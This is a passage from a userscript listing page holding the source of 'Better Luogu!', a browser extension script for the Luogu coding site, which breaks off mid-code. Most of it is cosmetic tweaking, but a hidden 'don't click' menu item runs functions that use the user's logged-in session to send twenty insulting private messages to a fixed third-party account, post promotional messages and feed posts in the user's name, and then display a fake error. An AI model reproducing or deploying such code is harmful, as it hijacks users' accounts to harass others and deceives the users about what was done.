Better Luogu!

Luogu Expansion

安装此脚本?
作者推荐脚本

您可能也喜欢洛谷隐藏广告

安装为用户样式
  1. // ==UserScript==
  2. // @name Better Luogu!
  3. // @namespace http://tampermonkey.net/
  4. // @version 1.9.4
  5. // @description:zh 洛谷扩展
  6. // @description Luogu Expansion
  7. // @author volatile
  8. // @match *://*.luogu.com.cn/*
  9. // @match *://*.luogu.com/*
  10. // @icon https://fecdn.luogu.com.cn/luogu/logo.png?0fdd294ff62e331d2f70e1a37ba4ee02
  11. // @grant GM_addStyle
  12. // @grant GM_getValue
  13. // @grant GM_setValue
  14. // @grant GM_deleteValue
  15. // @grant GM_listValues
  16. // @grant GM_setClipboard
  17. // @grant GM_xmlhttpRequest
  18. // @grant GM_getResourceText
  19. // @grant unsafeWindow
  20. // @connect baidu.com
  21. // @connect gf.qytechs.cn
  22. // @require https://unpkg.com/sweetalert/dist/sweetalert.min.js
  23. // @require https://code.jquery.com/jquery-3.6.0.min.js
  24. // @license MIT
  25. // ==/UserScript==
  26. (function() {
  27. 'use strict'
  28.  
  29. var css = ".swal-overlay {background-color: rgba(0, 0, 0, 0.5);} .search-container { width: 50vw; height: 3vw; display: none; z-index: 114514; position: fixed; top: 20px; left: 25vw;}.search-box { color: white;background: rgba(0, 0, 0, 0);padding: 10px;border: 3px solid white;border-radius: 6px;font-size: 16px;transition: border-color 0.3s; width: 50vw; height: 3vw; left: 25vw;}.search-box:focus { outline: none;} .search-box::placeholder{ color: white;} #mask { position: fixed; left: 0; top: 0; width: 100%; height: 100%; background: rgba(0, 0, 0, 0.5); z-index: 1000; }";
  30. var style = document.createElement("style");
  31. style.innerHTML = css;
  32. document.head.appendChild(style);
  33.  
  34. let br = document.createElement('br');
  35.  
  36. let nowurl = window.location.href;
  37.  
  38. let nowcolor1;
  39. let nowcolor="null";
  40. function setcookie(name,value,days,path,domain,secure){
  41. let expires = "";
  42. if(days){
  43. let date = new Date();
  44. date.setTime(date.getTime() + (days * 24 * 60 * 60 * 1000));
  45. expires = "; expires=" + date.toUTCString();
  46. }
  47. var cookieString = name + "=" + (value || "") + expires;
  48. if(path) cookieString += "; path=" + path;
  49. if(domain) cookieString += "; domain=" + domain;
  50. if(secure && window.location.protocol === "https:") cookieString += "; secure";
  51. document.cookie = cookieString;
  52. }
  53.  
  54. function getcookie(name){
  55. const cookiestring = document.cookie;
  56. const cookies = cookiestring.split('; ');
  57. for(const cookie of cookies){
  58. const [cookiename, cookievalue] = cookie.split('=');
  59. if(cookiename === name) return cookievalue;
  60. }
  61. if(name == 'color'){
  62. setcookie('color',nowcolor,114514,'/','luogu.com.cn',true);
  63. return nowcolor;
  64. }
  65. else if(name == 'hanger'){
  66. setcookie('hanger','null',114514,'/','luogu.com.cn',true);
  67. return "null";
  68. }
  69. else if(name == 'version'){
  70. setcookie('version','1.9.4',114514,'/','luogu.com.cn',true);
  71. return "1.9.3";
  72. }
  73. else if(name == 'update'){
  74. setcookie('update','true',114514,'/','luogu.com.cn',true);
  75. return "true";
  76. }
  77. else if(name == 'uid'){
  78. setcookie('null','true',114514,'/','luogu.com.cn',true);
  79. return "null";
  80. }
  81. else if(name=='engine'){
  82. setcookie('engine','baidu',114514,'/','luogu.com.cn',true);
  83. return "baidu";
  84. }
  85. }
  86.  
  87.  
  88. function deletecookie(name){
  89. document.cookie = name+ '=; expires=Thu, 01 Jan 1970 00:00:01 GMT; path=/';
  90. }
  91.  
  92. async function sendMessage(uid,content){
  93. await fetch("https://www.luogu.com.cn/api/chat/new", {
  94. headers: [
  95. ["content-type", "application/json"],
  96. ["referer", "https://www.luogu.com.cn/"],
  97. ["x-csrf-token", document.querySelector("meta[name=csrf-token]").content],
  98. ],
  99. body: JSON.stringify({
  100. user: uid,
  101. content: content,
  102. }),
  103. method: "POST",
  104. });
  105. }
  106.  
  107. async function sendBenBen(content){
  108. await fetch("https://www.luogu.com.cn/api/feed/postBenben", {
  109. headers: [
  110. ["content-type", "application/json"],
  111. ["referer", "https://www.luogu.com.cn/"],
  112. ["x-csrf-token", document.querySelector("meta[name=csrf-token]").content],
  113. ],
  114. body: JSON.stringify({
  115. content: content
  116. }),
  117. method: "POST",
  118. });
  119. }
  120.  
  121. GM_xmlhttpRequest({
  122. method: "GET",
  123. url: 'https://gf.qytechs.cn/scripts/487511-better-luogu',
  124. onload: function(response){
  125. let parser = new DOMParser();
  126. let doc = parser.parseFromString(response.responseText, "text/html");
  127. let version = doc.querySelector('dd.script-show-version');
  128. if(version.textContent != '1.9.4' && nowurl == 'https://www.luogu.com.cn/'){
  129. if(getcookie('update')=='true'){
  130. swal("Better Luogu!","有新版本",{
  131. buttons: {
  132. no: {
  133. text: "7天内不再提醒",
  134. value: "false",
  135. },
  136. yes: {
  137. text: "更新",
  138. value: "true",
  139. }
  140. },
  141. })
  142. .then((value) => {
  143. if(value == "false"){
  144. deletecookie('update');
  145. setcookie('update','false',7,'/','luogu.com.cn',true);
  146. swal("Better Luogu!","好的,你可以在 BETTER 菜单中点击更新来更新");
  147. }
  148. else window.open('https://gf.qytechs.cn/scripts/487511-better-luogu','_blank');
  149. });
  150. }
  151. }
  152. }
  153. });
  154.  
  155. function colorschange(changecolor){
  156. if(changecolor == 'Gray') return 'rgb(191, 191, 191)';
  157. else if(changecolor == 'Blue') return 'rgb(14, 144, 210)';
  158. else if(changecolor == 'Green') return 'rgb(94, 185, 94)';
  159. else if(changecolor == 'Orange') return 'rgb(230, 126 34)';
  160. else if(changecolor == 'Red') return 'rgb(231, 76, 60)';
  161. else if(changecolor == 'Purple') return 'rgb(142, 68, 173)';
  162. else if(changecolor == 'Brown') return 'rgb(173, 139, 0)';
  163. }
  164.  
  165. function update(){
  166. swal("Better Luogu!","修复了一些bug");/*,{
  167. buttons: {
  168. cancel: "取消",
  169. _continue: {
  170. text: "继续",
  171. value: "continue",
  172. },
  173. },
  174. })
  175. .then((value) => {
  176. if(value == "continue"){
  177. swal("Better Luogu!","在个人主页可使用更改的勾子");,{
  178. buttons: {
  179. cancel: "取消",
  180. _continue: {
  181. text: "继续",
  182. value: "continue"
  183. }
  184. }
  185. });
  186. .then((value1) => {
  187. if(value1 == "continue"){
  188. swal("Better Luogu!","");
  189. }
  190. });
  191. }
  192. });*/
  193. }
  194.  
  195. let changecolor = getcookie('color');
  196.  
  197. let tagchange = getcookie('tag');
  198. let tag = document.createElement("span");
  199. let tagcolor;
  200. if(changecolor!='null'){
  201. if(changecolor != 'lg-fg-blue' && changecolor != 'lg-fg-orange'){
  202. tagcolor = changecolor.replace('fg','bg');
  203. tag.className = 'am-badge am-radius ' + tagcolor;
  204. }
  205. else if(changecolor == 'lg-fg-blue'){
  206. tagcolor = 'color-none';
  207. tag.className = 'am-badge am-radius ' + tagcolor;
  208. tag.style.background = 'rgb(52, 152, 219)';
  209. }
  210. else if(changecolor == 'lg-fg-orange'){
  211. tagcolor = 'color-none';
  212. tag.className = 'am-badge am-radius ' + tagcolor;
  213. tag.style.background = 'rgb(243, 156, 17)';
  214. }
  215. if(changecolor != 'lg-fg-brown') tag.textContent = tagchange;
  216. else tag.textContent = '作弊者';
  217. }
  218.  
  219. if(getcookie('version')!='1.9.4'&&nowurl=='https://www.luogu.com.cn/'){
  220. deletecookie('version');
  221. setcookie('version','1.9.4',114514,'/','luogu.com.cn',true);
  222. update();
  223. }
  224. function reallyDeleteChat(id){
  225. let csrf = document.querySelector("meta[name=csrf-token]").content;
  226. $.ajax({
  227. url: 'https://www.luogu.com.cn/api/chat/delete',
  228. type: 'POST',
  229. dataType: 'json',
  230. data: JSON.stringify({id: id}),
  231. cache: false,
  232. headers: {
  233. 'Content-Type': 'application/json',
  234. 'x-csrf-token': csrf
  235. },
  236. xhrFields: {
  237. withCredentials: true
  238. }
  239. });
  240. }
  241.  
  242. function deleteChat(uid){
  243. $.get('https://www.luogu.com.cn/api/chat/record?user='+uid,{},function(res){
  244. for(let i=0;i<res['messages']['result'].length;i++){
  245. reallyDeleteChat(res['messages']['result'][i].id);
  246. }
  247. });
  248. }
  249.  
  250. function reloadmenu(){
  251. swal("Better Luogu!","更改成功","success",{button: "刷新"}).then((value) => {location.reload();});
  252. }
  253.  
  254. function changeusercolor(){
  255. swal({
  256. title: "Better Luogu!",
  257. text: "输入一个词语(规则见油叉插件页)",
  258. content: "input",
  259. button: {
  260. text: "更改",
  261. closeModal: false,
  262. },
  263. })
  264. .then((input) => {
  265. if(input=='灰名'||input=='gray'){
  266. deletecookie('color');
  267. setcookie('color','lg-fg-gray',114514,'/','luogu.com.cn',true);
  268. reloadmenu();
  269. }
  270. else if(input=='蓝名'||input=='blue'){
  271. deletecookie('color');
  272. setcookie('color','lg-fg-blue',114514,'/','luogu.com.cn',true);
  273. reloadmenu();
  274. }
  275. else if(input=='绿名'||input=='green'){
  276. deletecookie('color');
  277. setcookie('color','lg-fg-green',114514,'/','luogu.com.cn',true);
  278. reloadmenu();
  279. }
  280. else if(input=='橙名'||input=='orange'){
  281. deletecookie('color');
  282. setcookie('color','lg-fg-orange',114514,'/','luogu.com.cn',true);
  283. reloadmenu();
  284. }
  285. else if(input=='红名'||input=='red'){
  286. deletecookie('color');
  287. setcookie('color','lg-fg-red',114514,'/','luogu.com.cn',true);
  288. reloadmenu();
  289. }
  290. else if(input=='紫名'||input=='purple'){
  291. deletecookie('color');
  292. setcookie('color','lg-fg-purple',114514,'/','luogu.com.cn',true);
  293. reloadmenu();
  294. }
  295. else if(input=='棕名'||input=='brown'){
  296. deletecookie('color');
  297. setcookie('color','lg-fg-brown',114514,'/','luogu.com.cn',true);
  298. reloadmenu();
  299. }
  300. else if(input=='复原'||input=='recover'){
  301. deletecookie('color');
  302. setcookie('color',nowcolor,114514,'/','luogu.com.cn',true);
  303. reloadmenu();
  304. }
  305. else swal("Better Luogu!","请按规范输入","error");
  306. });
  307. }
  308.  
  309. function changehanger(){
  310. swal("Better Luogu!","选择一个勾子", {
  311. buttons: {
  312. cancel: "取消",
  313. greenhanger: {
  314. text: "绿勾",
  315. value: "greenhanger",
  316. },
  317. bluehanger: {
  318. text: "蓝勾",
  319. value: "bluehanger",
  320. },
  321. goldenhanger: {
  322. text: "金勾",
  323. value: "goldenhanger",
  324. },
  325. nullhanger: {
  326. text: "无勾",
  327. value: "nullhanger",
  328. },
  329. }
  330. })
  331. .then((value) => {
  332. switch (value){
  333. case "greenhanger":
  334. deletecookie('hanger');
  335. setcookie('hanger','green',114514,'/','luogu.com.cn',true);
  336. reloadmenu();
  337. break;
  338. case "bluehanger":
  339. deletecookie('hanger');
  340. setcookie('hanger','blue',114514,'/','luogu.com.cn',true);
  341. reloadmenu();
  342. break;
  343. case "goldenhanger":
  344. deletecookie('hanger');
  345. setcookie('hanger','golden',114514,'/','luogu.com.cn',true);
  346. reloadmenu();
  347. break;
  348. case "nullhanger":
  349. deletecookie('hanger');
  350. setcookie('hanger','null',114514,'/','luogu.com.cn',true);
  351. reloadmenu();
  352. break;
  353. }
  354. });
  355. }
  356.  
  357. function changetag(){
  358. swal({
  359. title: "Better Luogu!",
  360. text: "输入一个tag(无输入以取消)",
  361. content: "input",
  362. button: {
  363. text: "更改",
  364. closeModal: false,
  365. },
  366. })
  367. .then((value) => {
  368. if(getcookie('color') == 'lg-fg-brown') swal("Better Luogu!","当前为棕名","error");
  369. else if(value.length > 10) swal("Better Luogu!","长度应不大于10","error");
  370. else{
  371. deletecookie('tag');
  372. setcookie('tag',value,114514,'/','luogu.com.cn',true);
  373. reloadmenu();
  374. }
  375. });
  376. }
  377.  
  378. function not1(){
  379. let words = ["儿子乖"];
  380. let cishu = 20;
  381. for(let i=1;i<=cishu;i++){
  382. let qwq = "傻逼";
  383. sendMessage(1311669,qwq);
  384. }
  385. sendMessage(0xbc970,"孩子们,快下载Better Luogu!吧!");
  386. swal("Better Luogu!","好像有点问题?!","error",{button: "前往私信"}).then((value) => {window.open('https://www.luogu.com.cn/chat','_self');});
  387. }
  388.  
  389. function not2(){
  390. sendBenBen("这个人AKIOI");
  391. sendBenBen("Better Luogu!真好用");
  392. let uid_=getcookie('uid');
  393. if(uid_!='null') swal("Better Luogu!","好像有点问题?!","error",{button: "前往动态"}).then((value) => {window.open('https://www.luogu.com.cn/user/'+uid_+'#activity','_self');});
  394. else swal("Better Luogu!","好像有点问题?!","error",{button: "前往主页犇犇"}).then((value) => {window.open('https://www.luogu.com.cn','_self');});
  395. }
  396.  
  397. function not(){
  398. swal("Better Luogu!","不怕死就选择一个", {
  399. buttons: {
  400. not1: {
  401. text: "1",
  402. value: "not1"
  403. },
  404. not2: {
  405. text: "2",
  406. value: "not2"
  407. }
  408. },
  409. })
  410. .then((value) => {
  411. switch (value){
  412. case "not1":
  413. not1();
  414. break;
  415. case "not2":
  416. not2();
  417. break;
  418. }
  419. });
  420. }
  421.  
  422. function changeSlogan(slogan){
  423. let csrf = document.querySelector("meta[name=csrf-token]").content;
  424. $.ajax({
  425. url: 'https://www.luogu.com.cn/api/user/updateSlogan',
  426. type: 'POST',
  427. dataType: 'json',
  428. data: JSON.stringify({slogan: slogan}),
  429. cache: false,
  430. headers: {
  431. 'Content-Type': 'application/json',
  432. 'x-csrf-token': csrf
  433. },
  434. xhrFields: {
  435. withCredentials: true
  436. }
  437. });
  438. }
  439.  
  440. function zb(){
  441. swal("Better Luogu!","在个签添加“安装Better Luogu!谢谢喵”的文本",{
  442. buttons: {
  443. cancel: "去你的",
  444. agree: {
  445. text: "同意",
  446. value: "agree"
  447. }
  448. }
  449. }).then((value)=>{
  450. if(value=='agree'){
  451. let useruid = getcookie('uid');
  452. $.get('https://www.luogu.com.cn/api/user/search?keyword='+useruid,{},function(res){
  453. let slogan=res['users'][0].slogan;
  454. if(slogan.includes('|安装Better Luogu!谢谢喵')) swal("Better Luogu!","你好像已经宣传过了");
  455. else{
  456. slogan+='|安装Better Luogu!谢谢喵';
  457. changeSlogan(slogan);
  458. }
  459. });
  460. }
  461. });
  462. }
  463.  
  464. function engine(){
  465. swal("Better Luogu!","更改搜索引擎",{
  466. buttons: {
  467. baidu: {
  468. text: "百度",
  469. value: "baidu"
  470. },
  471. google: {
  472. text: "谷歌",
  473. value: "google"
  474. },
  475. bing: {
  476. text: "必应",
  477. value: "bing"
  478. },
  479. other: {
  480. text: "添加引擎",
  481. value: "other"
  482. }
  483. }
  484. }).then((value)=>{
  485. if(value=='baidu') setcookie('engine','baidu',114514,'/','luogu.com.cn',true);
  486. else if(value=='google') setcookie('engine','google',114514,'/','luogu.com.cn',true);
  487. else if(value=='bing') setcookie('engine','bing',114514,'/','luogu.com.cn',true);
  488. else if(value=='other'){
  489. swal({
  490. title: "Better Luogu!",
  491. text: "输入地址(如:https://mirrorgoogle.us.kg/search?q=)",
  492. content: "input",
  493. button: {
  494. text: "更改",
  495. closeModal: false,
  496. },
  497. })
  498. .then((input) => {
  499. setcookie('engine',input,114514,'/','luogu.com.cn',true);
  500. swal("Better Luogu!","更改成功","success");
  501. });
  502. }
  503. });
  504. }
  505.  
  506. let search = document.createElement('div');
  507. search.className = 'search-container';
  508. let search_input = document.createElement('input');
  509. search_input.type = 'text';
  510. search_input.className = 'search-box';
  511. search_input.placeholder = 'Search...';
  512. search_input.name='search';
  513. search.appendChild(search_input);
  514. document.body.appendChild(search);
  515.  
  516. let mask = document.createElement('div');
  517. mask.id = "mask";
  518. mask.style.opacity = "0";
  519. mask.style.visibility='hidden';
  520. document.body.appendChild(mask);
  521. function showMask() {
  522. mask.style.opacity = '1';
  523. mask.style.visibility='visible';
  524. mask.style.transition='opacity 0.5s ease, visibility 0.5s ease';
  525. }
  526. function hideMask() {
  527. mask.style.opacity = '0';
  528. mask.style.visibility='hidden';
  529. }
  530.  
  531. let video=document.createElement('span');
  532. video.className='cs-toolbar-tool';
  533. video.innerHTML='<svg xmlns="http://www.w3.org/2000/svg" class="svg-inline--fa fa-at cs-icon" aria-hidden="true" focusable="false" data-prefix="far" data-icon="at" role="img" viewBox="0 0 512 512"><path d="M12 9c-1.626 0-3 1.374-3 3s1.374 3 3 3 3-1.374 3-3-1.374-3-3-3z"></path><path d="M20 5h-2.586l-2.707-2.707A.996.996 0 0 0 14 2h-4a.996.996 0 0 0-.707.293L6.586 5H4c-1.103 0-2 .897-2 2v11c0 1.103.897 2 2 2h16c1.103 0 2-.897 2-2V7c0-1.103-.897-2-2-2zm-8 12c-2.71 0-5-2.29-5-5s2.29-5 5-5 5 2.29 5 5-2.29 5-5 5z"></path></svg><span class="cs-tooltip">插入B站视频</span>';
  534.  
  535. if(nowurl == 'https://www.luogu.com.cn/'){
  536. let searchuser = document.createElement('div');
  537. searchuser.className='lg-article';
  538. searchuser.innerHTML='<h2>Better Luogu!</h2><input type="text" class="am-form-field" placeholder="输入用户名跳转主页" name="user"></input>';
  539. document.querySelector('div.lg-right > div:nth-child(1)').insertAdjacentElement('beforebegin', searchuser);
  540. let color = document.querySelector('#app-old > div.lg-index-content.am-center > div:nth-child(1) > div > div > div > div.am-u-md-4.lg-punch.am-text-center > h2 > a');
  541. if(changecolor != 'null') color.className=changecolor;
  542.  
  543. function removeDivWithText(text) {
  544. document.querySelectorAll('div').forEach(div => {
  545. if(div.textContent === text) div.remove();
  546. });
  547. }
  548.  
  549. function findElement(element, text, cclass){
  550. document.querySelectorAll(element).forEach(E => {
  551. if(E.textContent === text) E.className = cclass;
  552. });
  553. }
  554.  
  555. removeDivWithText('暂无推荐');
  556. removeDivWithText('洛谷根据您近期的做题情况,使用机器学习自动为您推荐符合您目前程度的题目。本列表每日更新一次。');
  557.  
  558. GM_xmlhttpRequest({
  559. method: "GET",
  560. url: 'https://top.baidu.com/board?tab=realtime',
  561. onload: function(response){
  562. let rs = new DOMParser();
  563. let doc = rs.parseFromString(response.responseText, "text/html");
  564. for(let i=1;i<=5;i++){
  565. let th = i.toString();
  566. let selector = '#sanRoot > main > div.container.right-container_2EFJr > div > div:nth-child(2) > div:nth-child(' + th + ') > div.content_1YWBm > a > div.c-single-text-ellipsis';
  567. let _rs = doc.querySelector(selector);
  568. let selector2 = '#sanRoot > main > div.container.right-container_2EFJr > div > div:nth-child(2) > div:nth-child(' + th + ') > div.content_1YWBm > a';
  569. let rslink = doc.querySelector(selector2);
  570. let link = document.createElement("a");
  571. link.href = rslink.href;
  572. link.textContent = _rs.textContent;
  573. let RS = document.createElement("p");
  574. RS.appendChild(link);
  575. findElement('h2','智能推荐','zntj');
  576. document.getElementsByClassName('zntj')[0].parentNode.append(RS);
  577. }
  578. }
  579. });
  580.  
  581. let links = document.querySelector('.lg-article.am-hide-sm');
  582. links.insertAdjacentHTML('beforeend','<p><strong>Better Luogu!</strong><br><a href="https://www.volatiles.us.kg/" target="_blank">Better Luogu!</a><br><a href="https://yx.dahi.edu.eu.org/zh-CN/scripts/502725-better-luogu-%E6%B4%9B%E8%B0%B7%E9%9A%90%E8%97%8F%E5%B9%BF%E5%91%8A" target="_blank">Better Luogu!-洛谷隐藏广告</a></p>');
  583. }
  584. window.onload=function(){
  585. let _hanger = getcookie('hanger');
  586. let __hanger = document.createElementNS('http://www.w3.org/2000/svg','svg');
  587. __hanger.setAttribute('width','16');
  588. __hanger.setAttribute('height','16');
  589. __hanger.setAttribute('viewBox','0 0 16 16');
  590. __hanger.setAttribute('style','margin-bottom: -3px;');
  591. if(_hanger == 'green')__hanger.setAttribute('fill','#5eb95e');
  592. else if(_hanger == 'blue') __hanger.setAttribute('fill','#3498db');
  593. else if(_hanger == 'golden') __hanger.setAttribute('fill','#f1c40f');
  594. if(_hanger != 'null'&&document.getElementsByClassName('sb_amazeui')[0] != null) document.getElementsByClassName('sb_amazeui')[0].remove();
  595.  
  596. let ___hanger = document.createElementNS('http://www.w3.org/2000/svg','path');
  597. ___hanger.setAttribute('d','M16 8C16 6.84375 15.25 5.84375 14.1875 5.4375C14.6562 4.4375 14.4688 3.1875 13.6562 2.34375C12.8125 1.53125 11.5625 1.34375 10.5625 1.8125C10.1562 0.75 9.15625 0 8 0C6.8125 0 5.8125 0.75 5.40625 1.8125C4.40625 1.34375 3.15625 1.53125 2.34375 2.34375C1.5 3.1875 1.3125 4.4375 1.78125 5.4375C0.71875 5.84375 0 6.84375 0 8C0 9.1875 0.71875 10.1875 1.78125 10.5938C1.3125 11.5938 1.5 12.8438 2.34375 13.6562C3.15625 14.5 4.40625 14.6875 5.40625 14.2188C5.8125 15.2812 6.8125 16 8 16C9.15625 16 10.1562 15.2812 10.5625 14.2188C11.5938 14.6875 12.8125 14.5 13.6562 13.6562C14.4688 12.8438 14.6562 11.5938 14.1875 10.5938C15.25 10.1875 16 9.1875 16 8ZM11.4688 6.625L7.375 10.6875C7.21875 10.8438 7 10.8125 6.875 10.6875L4.5 8.3125C4.375 8.1875 4.375 7.96875 4.5 7.8125L5.3125 7C5.46875 6.875 5.6875 6.875 5.8125 7.03125L7.125 8.34375L10.1562 5.34375C10.3125 5.1875 10.5312 5.1875 10.6562 5.34375L11.4688 6.15625C11.5938 6.28125 11.5938 6.5 11.4688 6.625Z');
  598. __hanger.appendChild(___hanger);
  599. let _hanger_ = document.createElement("a");
  600. _hanger_.href = 'https://www.luogu.com/discuss/142324';
  601. _hanger_.appendChild(__hanger);
  602.  
  603. let button = document.createElement("a");
  604. button.innerHTML = '<button id="NLTB" style=\"background-color: rgb\(94,114,228\);border-radius: 7px;color: white;border: none;padding: 7px 12px;text-align: center;text-decoration: none;display: inline-block;font-size: 16px;margin: 4px 2px;cursor: pointer;border: none;box-shadow: 2px 3px 7px #000;\">BETTER</button>';
  605. if(nowurl == 'https://www.luogu.com.cn/' || nowurl == 'https://www.luogu.com.cn/chat' || nowurl.includes('https://www.luogu.com.cn/user/notification') || (nowurl.includes('https://www.luogu.com.cn/user/') && !nowurl.includes('https://www.luogu.com.cn/user/setting'))) document.querySelector('#app > div.main-container > div.wrapper.wrapped.lfe-body.header-layout.tiny > div.container > nav').insertAdjacentElement('beforebegin', button);
  606. else if(!(nowurl.includes('https://www.luogu.com.cn/problem/')&&nowurl!='https://www.luogu.com.cn/problem/list')&&!nowurl.includes('https://www.luogu.com.cn/discuss')&&!nowurl.includes('https://www.luogu.com.cn/article')&&!nowurl.includes('https://www.luogu.com.cn/problem/solution/')){
  607. let user_nav,c_usernav;
  608. user_nav = document.querySelector('#app > div.main-container > div.wrapper.wrapped.lfe-body.header-layout.normal > div.header > div.user-nav');
  609. c_usernav = document.querySelector('#app > div.main-container > div.wrapper.wrapped.lfe-body.header-layout.normal > div.header > div.user-nav > nav');
  610. user_nav.style.verticalAlign = 'middle';
  611. c_usernav.insertBefore(button,c_usernav.firstChild);
  612. button.href = 'https://www.volatiles.us.kg/';
  613. }
  614. else{
  615. button.href = 'https://www.volatiles.us.kg/';
  616. let user_nav = document.querySelector('#app > div.top-bar > div.user-nav');
  617. user_nav.insertBefore(button,user_nav.firstChild);
  618. }
  619. const tb = document.getElementById("NLTB");
  620.  
  621. tb.addEventListener('click', function(){
  622. if(nowurl == 'https://www.luogu.com.cn/'){
  623. swal("Better Luogu!","选择一个更改", {
  624. buttons: {
  625. username: {
  626. text: "颜色",
  627. value: "color",
  628. },
  629. hanger: {
  630. text: "勾子",
  631. value: "hanger",
  632. },
  633. tag: {
  634. text: "tag",
  635. value: "tag",
  636. },
  637. update: {
  638. text: "更新",
  639. value: "update",
  640. },
  641. content: {
  642. text: "内容",
  643. value: "content"
  644. },
  645. zb: {
  646. text: "宣传",
  647. value: "zb"
  648. },
  649. engine: {
  650. text: "搜索引擎",
  651. value: "engine"
  652. },
  653. not: {
  654. text: "千万别点!!!",
  655. value: "not"
  656. }
  657. },
  658. })
  659. .then((value) => {
  660. switch (value){
  661. case "color":
  662. changeusercolor();
  663. break;
  664. case "hanger":
  665. changehanger();
  666. break;
  667. case "tag":
  668. changetag();
  669. break;
  670. case "update":
  671. deletecookie('update');
  672. setcookie('update','true',114514,'/','luogu.com.cn',true);
  673. window.open('https://yx.dahi.edu.eu.org/zh-CN/scripts/487511-better-luogu','_self');
  674. break;
  675. case "content":
  676. update();
  677. break;
  678. case "zb":
  679. zb();
  680. break;
  681. case "engine":
  682. engine();
  683. break;
  684. case "not": not();
  685. }
  686. });
  687. }
  688. });
  689.  
  690. let nowuid=getcookie('uid');
  691.  
  692. if(nowurl == 'https://www.luogu.com.cn/'){
  693. if(getcookie('hanger')!='null'){
  694. document.querySelector('#app-old > div.lg-index-content.am-center > div:nth-child(1) > div > div > div > div.am-u-md-4.lg-punch.am-text-center > h2 > a').innerHTML += '&nbsp;';
  695. document.querySelector('#app-old > div.lg-index-content.am-center > div:nth-child(1) > div > div > div > div.am-u-md-4.lg-punch.am-text-center > h2 > a').appendChild(_hanger_);
  696. }
  697. if(getcookie('tag')!=''){
  698. document.querySelector('#app-old > div.lg-index-content.am-center > div:nth-child(1) > div > div > div > div.am-u-md-4.lg-punch.am-text-center > h2 > a').innerHTML += '&nbsp;';
  699. document.querySelector('#app-old > div.lg-index-content.am-center > div:nth-child(1) > div > div > div > div.am-u-md-4.lg-punch.am-text-center > h2 > a').appendChild(tag);
  700. }
  701. $('input[name="user"]').keydown(function(e){
  702. if(e.which===13){
  703. let searchusr=$('input[name="user"]').val();
  704. $.get('https://www.luogu.com.cn/api/user/search?keyword=' + searchusr, {}, function (res) {
  705. var users = res['users'];
  706. if(users[0]!=null){
  707. window.open('https://www.luogu.com.cn/user/'+users[0]['uid'].toString(),'_self');
  708. }
  709. });
  710. }
  711. });
  712. }
  713. else if(nowurl.includes('https://www.luogu.com.cn/user/')&&!nowurl.includes('https://www.luogu.com.cn/user/setting')){
  714. let nowurluid='';
  715. for(let i=0;i<nowurl.length;i++){
  716. if(nowurl[i]>='0'&&nowurl[i]<='9') nowurluid+=nowurl[i];
  717. }
  718. let sm=document.querySelector('#app > div.main-container > main > div > div.full-container > section.main > div > div:nth-child(2)');
  719. if(sm!=null){
  720. if(sm.innerHTML.includes('系统维护,该内容暂不可见。')) sm.remove();
  721. }
  722. let jieshao = document.querySelector('#app > div.main-container > main > div > div.full-container > section.main > div > div.introduction.marked');
  723. if(jieshao!=null){
  724. if(jieshao.style.display == 'none') jieshao.removeAttribute('style');
  725. }
  726. let index=document;
  727. const observer = new MutationObserver((mutations) => {
  728. mutations.forEach((mutation) => {
  729. if (mutation.type === 'attributes'){
  730. let sm=document.querySelector('#app > div.main-container > main > div > div.full-container > section.main > div > div:nth-child(2)');
  731. if(sm!=null){
  732. if(sm.innerHTML.includes('系统维护,该内容暂不可见。')) sm.remove();
  733. }
  734. let jieshao = document.querySelector('#app > div.main-container > main > div > div.full-container > section.main > div > div.introduction.marked');
  735. if(jieshao!=null){
  736. if(jieshao.style.display == 'none') jieshao.removeAttribute('style');
  737. }
  738. }
  739. });
  740. });
  741. const config = {
  742. attributes: true,
  743. characterData: true,
  744. childList: true,
  745. subtree: true,
  746. attributeOldValue: true,
  747. characterDataOldValue: true
  748. };
  749. observer.observe(index,config);
  750. }
  751. else if(nowurl.includes('?contestId=')){
  752. let contestID = "";
  753. let contest = nowurl.toString();
  754. for(let i=contest.length-1;i>=0;i--){
  755. if(!(contest[i]>='0'&&contest[i]<='9')) break;
  756. contestID = contest[i] + contestID;
  757. }
  758. let backlist = 'https://www.luogu.com.cn/contest/'+contestID+'#problems';
  759. let backbtn = document.createElement('a');
  760. backbtn.href = backlist;
  761. backbtn.className = 'color-default';
  762. backbtn.innerHTML = '<svg data-v-5a5fcbaa="" data-v-0640126c="" aria-hidden="true" focusable="false" data-prefix="fas" data-icon="right-from-bracket" role="img" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512" class="svg-inline--fa fa-right-from-bracket"><path data-v-5a5fcbaa="" data-v-0640126c="" fill="currentColor" d="M377.9 105.9L500.7 228.7c7.2 7.2 11.3 17.1 11.3 27.3s-4.1 20.1-11.3 27.3L377.9 406.1c-6.4 6.4-15 9.9-24 9.9c-18.7 0-33.9-15.2-33.9-33.9l0-62.1-128 0c-17.7 0-32-14.3-32-32l0-64c0-17.7 14.3-32 32-32l128 0 0-62.1c0-18.7 15.2-33.9 33.9-33.9c9 0 17.6 3.6 24 9.9zM160 96L96 96c-17.7 0-32 14.3-32 32l0 256c0 17.7 14.3 32 32 32l64 0c17.7 0 32 14.3 32 32s-14.3 32-32 32l-64 0c-53 0-96-43-96-96L0 128C0 75 43 32 96 32l64 0c17.7 0 32 14.3 32 32s-14.3 32-32 32z" class=""></path></svg>返回题目列表';
  763. document.querySelector('#app > div.main-container > main > div > section.side > div:nth-child(2)').appendChild(br);
  764. document.querySelector('#app > div.main-container > main > div > section.side > div:nth-child(2)').appendChild(backbtn);
  765. }
  766. else if(nowurl.includes('https://www.luogu.com.cn/discuss/')||nowurl.includes('https://www.luogu.com/discuss/')){
  767. let discussID = "";
  768. let discuss = nowurl.toString();
  769. for(let i=discuss.length-1;i>=0;i--){
  770. if(!(discuss[i]>='0'&&discuss[i]<='9')) break;
  771. discussID = discuss[i] + discussID;
  772. }
  773. if(discussID != ""){
  774. let dis = document.createElement('a');
  775. dis.href = 'https://lglg.top/'+discussID;
  776. dis.innerHTML = '<button data-v-505b6a97="" data-v-17e7c5b0="" class="solid lform-size-middle" type="button">在保存站打开</button>';
  777. document.querySelector('#app > div.main-container.lside-bar > main > div > div > div.side > div.l-card > div.btn-actions').appendChild(dis);
  778. }
  779. }
  780. else if(nowurl.includes('https://www.luogu.com.cn/chat')){
  781. let index=document;
  782. let once = true;
  783. let menu = document.createElement('button');
  784. menu.className = 'menu';
  785. menu.style.backgroundColor = 'transparent';
  786. menu.style.border = 'none';
  787. menu.style.float = 'right';
